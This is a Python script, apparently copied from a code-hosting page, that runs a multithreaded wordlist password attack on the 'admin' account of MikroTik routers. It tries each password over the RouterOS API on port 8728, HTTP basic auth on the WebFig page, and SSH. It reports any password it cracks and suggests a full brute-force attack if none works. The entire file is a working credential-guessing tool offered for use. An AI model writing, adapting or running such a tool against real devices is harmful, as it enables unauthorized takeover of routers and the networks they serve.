256 lines
No EOL
9 KiB
Python
256 lines
No EOL
9 KiB
Python
#!/usr/bin/env python3
|
|
"""
|
|
Optimized MikroTik Password Attack using Wordlist
|
|
Tests passwords from generated wordlist using most efficient methods
|
|
"""
|
|
|
|
import time
|
|
import threading
|
|
from concurrent.futures import ThreadPoolExecutor, as_completed
|
|
import socket
|
|
import requests
|
|
from requests.auth import HTTPBasicAuth
|
|
|
|
class MikroTikWordlistAttack:
|
|
def __init__(self, host, wordlist_file="mikrotik_wordlist.txt"):
|
|
self.host = host
|
|
self.wordlist_file = wordlist_file
|
|
self.username = "admin"
|
|
self.found_password = None
|
|
self.attempts = 0
|
|
self.start_time = None
|
|
self.lock = threading.Lock()
|
|
self.stop_flag = threading.Event()
|
|
|
|
def load_wordlist(self):
|
|
"""Load passwords from wordlist file"""
|
|
try:
|
|
with open(self.wordlist_file, 'r') as f:
|
|
passwords = [line.strip() for line in f if line.strip()]
|
|
return passwords
|
|
except FileNotFoundError:
|
|
print(f"Error: Wordlist file '{self.wordlist_file}' not found")
|
|
print("Run 'python3 generate_mikrotik_wordlist.py' first")
|
|
return []
|
|
|
|
def test_api_connection(self, password, port=8728, timeout=3):
|
|
"""Test MikroTik API connection (most reliable method)"""
|
|
try:
|
|
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
sock.settimeout(timeout)
|
|
sock.connect((self.host, port))
|
|
|
|
# Send login command in MikroTik API format
|
|
def encode_length(length):
|
|
if length <= 0x7F:
|
|
return bytes([length])
|
|
elif length <= 0x3FFF:
|
|
return bytes([((length >> 8) & 0xFF) | 0x80, length & 0xFF])
|
|
return bytes([0xFF]) # Simplified for short strings
|
|
|
|
def write_word(sock, word):
|
|
word_bytes = word.encode('utf-8')
|
|
sock.send(encode_length(len(word_bytes)))
|
|
sock.send(word_bytes)
|
|
|
|
def write_sentence(sock, words):
|
|
for word in words:
|
|
write_word(sock, word)
|
|
write_word(sock, "")
|
|
|
|
def read_word(sock):
|
|
length_byte = sock.recv(1)
|
|
if not length_byte:
|
|
return ""
|
|
length = length_byte[0]
|
|
if length == 0:
|
|
return ""
|
|
if length & 0x80:
|
|
# Multi-byte length, simplified handling
|
|
length = length & 0x7F
|
|
if length > 50: # Sanity check
|
|
return ""
|
|
try:
|
|
return sock.recv(length).decode('utf-8', 'ignore')
|
|
except:
|
|
return ""
|
|
|
|
def read_sentence(sock):
|
|
sentence = []
|
|
try:
|
|
while True:
|
|
word = read_word(sock)
|
|
if word == "":
|
|
break
|
|
sentence.append(word)
|
|
except:
|
|
pass
|
|
return sentence
|
|
|
|
# Send login
|
|
write_sentence(sock, ["/login", f"=name={self.username}", f"=password={password}"])
|
|
|
|
# Read response
|
|
sock.settimeout(2) # Shorter timeout for response
|
|
response = read_sentence(sock)
|
|
sock.close()
|
|
|
|
return response and len(response) > 0 and response[0] == "!done"
|
|
|
|
except Exception:
|
|
return False
|
|
|
|
def test_http_connection(self, password, timeout=3):
|
|
"""Test HTTP connection"""
|
|
try:
|
|
# Test if we can access a protected resource
|
|
response = requests.get(
|
|
f"http://{self.host}/webfig/",
|
|
auth=HTTPBasicAuth(self.username, password),
|
|
timeout=timeout,
|
|
allow_redirects=False
|
|
)
|
|
# Success if we don't get 401/403
|
|
return response.status_code not in [401, 403]
|
|
except:
|
|
return False
|
|
|
|
def test_ssh_connection(self, password, timeout=3):
|
|
"""Test SSH connection"""
|
|
try:
|
|
import paramiko
|
|
|
|
client = paramiko.SSHClient()
|
|
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
|
client.connect(
|
|
self.host,
|
|
port=22,
|
|
username=self.username,
|
|
password=password,
|
|
timeout=timeout,
|
|
allow_agent=False,
|
|
look_for_keys=False,
|
|
)
|
|
client.close()
|
|
return True
|
|
except paramiko.AuthenticationException:
|
|
return False
|
|
except Exception:
|
|
return False
|
|
|
|
def test_password(self, password):
|
|
"""Test a password using multiple methods"""
|
|
if self.stop_flag.is_set():
|
|
return False
|
|
|
|
with self.lock:
|
|
self.attempts += 1
|
|
current_attempts = self.attempts
|
|
|
|
# Progress reporting
|
|
if current_attempts % 10 == 0:
|
|
elapsed = time.time() - self.start_time
|
|
rate = current_attempts / elapsed if elapsed > 0 else 0
|
|
print(f"[*] Attempt {current_attempts} ({rate:.1f} pwd/sec) - Testing: {password}")
|
|
|
|
# Test methods in order of reliability and speed
|
|
methods = [
|
|
("API", lambda: self.test_api_connection(password)),
|
|
("HTTP", lambda: self.test_http_connection(password)),
|
|
("SSH", lambda: self.test_ssh_connection(password)),
|
|
]
|
|
|
|
for method_name, test_func in methods:
|
|
try:
|
|
if test_func():
|
|
print(f"\n*** SUCCESS! ***")
|
|
print(f"Password found: {password}")
|
|
print(f"Method: {method_name}")
|
|
print(f"Host: {self.host}")
|
|
print(f"Username: {self.username}")
|
|
print(f"Total attempts: {current_attempts}")
|
|
elapsed = time.time() - self.start_time
|
|
print(f"Time taken: {elapsed:.2f} seconds")
|
|
self.found_password = password
|
|
self.stop_flag.set()
|
|
return True
|
|
except Exception as e:
|
|
# If one method fails, try the next
|
|
continue
|
|
|
|
return False
|
|
|
|
def run_attack(self, max_workers=4):
|
|
"""Run the wordlist attack"""
|
|
passwords = self.load_wordlist()
|
|
if not passwords:
|
|
return None
|
|
|
|
print(f"Starting wordlist attack against {self.host}")
|
|
print(f"Username: {self.username}")
|
|
print(f"Passwords to test: {len(passwords)}")
|
|
print(f"Concurrent threads: {max_workers}")
|
|
print("=" * 60)
|
|
|
|
self.start_time = time.time()
|
|
|
|
# Use ThreadPoolExecutor for controlled concurrency
|
|
with ThreadPoolExecutor(max_workers=max_workers) as executor:
|
|
# Submit all password tests
|
|
future_to_password = {
|
|
executor.submit(self.test_password, pwd): pwd
|
|
for pwd in passwords
|
|
}
|
|
|
|
# Process results as they complete
|
|
for future in as_completed(future_to_password):
|
|
if self.stop_flag.is_set():
|
|
# Cancel remaining tasks
|
|
for f in future_to_password:
|
|
f.cancel()
|
|
break
|
|
|
|
password = future_to_password[future]
|
|
try:
|
|
result = future.result()
|
|
if result:
|
|
return self.found_password
|
|
except Exception as e:
|
|
print(f"Error testing {password}: {e}")
|
|
|
|
if not self.found_password:
|
|
elapsed = time.time() - self.start_time
|
|
print(f"\nWordlist attack completed.")
|
|
print(f"Total attempts: {self.attempts}")
|
|
print(f"Time taken: {elapsed:.2f} seconds")
|
|
print(f"No password found in wordlist.")
|
|
print("\nNext steps:")
|
|
print("1. Try generating larger wordlist with more patterns")
|
|
print("2. Consider full brute force attack")
|
|
print("3. Hardware reset if device is accessible")
|
|
|
|
return self.found_password
|
|
|
|
def main():
|
|
import sys
|
|
|
|
if len(sys.argv) < 2:
|
|
print("Usage: python3 mikrotik_wordlist_attack.py <HOST> [threads]")
|
|
print("Example: python3 mikrotik_wordlist_attack.py 10.250.2.2 8")
|
|
sys.exit(1)
|
|
|
|
host = sys.argv[1]
|
|
threads = int(sys.argv[2]) if len(sys.argv) > 2 else 4
|
|
|
|
attacker = MikroTikWordlistAttack(host)
|
|
password = attacker.run_attack(max_workers=threads)
|
|
|
|
if password:
|
|
print(f"\n✓ Attack successful! Password: {password}")
|
|
sys.exit(0)
|
|
else:
|
|
print(f"\n✗ Attack failed. No password found.")
|
|
sys.exit(1)
|
|
|
|
if __name__ == "__main__":
|
|
main() |